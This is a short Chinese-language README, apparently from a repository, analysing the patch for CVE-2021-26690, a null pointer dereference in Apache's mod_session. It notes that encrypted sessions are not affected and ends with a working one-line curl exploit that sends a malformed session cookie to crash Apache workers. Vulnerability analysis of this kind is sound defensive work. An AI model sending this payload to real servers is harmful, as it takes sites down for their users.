对 CVE-2021-26690 的补丁差异分析 - Apache mod_session

此漏洞是 Apache 的 mod_session 模块中的空指针解引用。 它将导致 Apache httpd 的子进程拒绝服务。 通过使用重复循环，每个 Apache worker 都会崩溃，从而导致所有连接或已连接到该网站的客户端拒绝服务。

该漏洞最初由 @antonio-morales 发现。

有关完整过程，请参阅本仓库中的 PDF。

限制

如果服务器通过 mod_session_crypto 实现了 SessionCryptoPassphrase 选项，则 cookie 将被加密并进行 base64 编码。

<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionCryptoPassphrase "YourSecurePassphrase"
SessionMaxAge 1800
</IfModule>

在这种情况下，会话 cookie 对无法被篡改，因此不会发生此拒绝服务攻击。

利用

curl http://$IP:$PORT/ -v -b 'session=expiry=123456789&='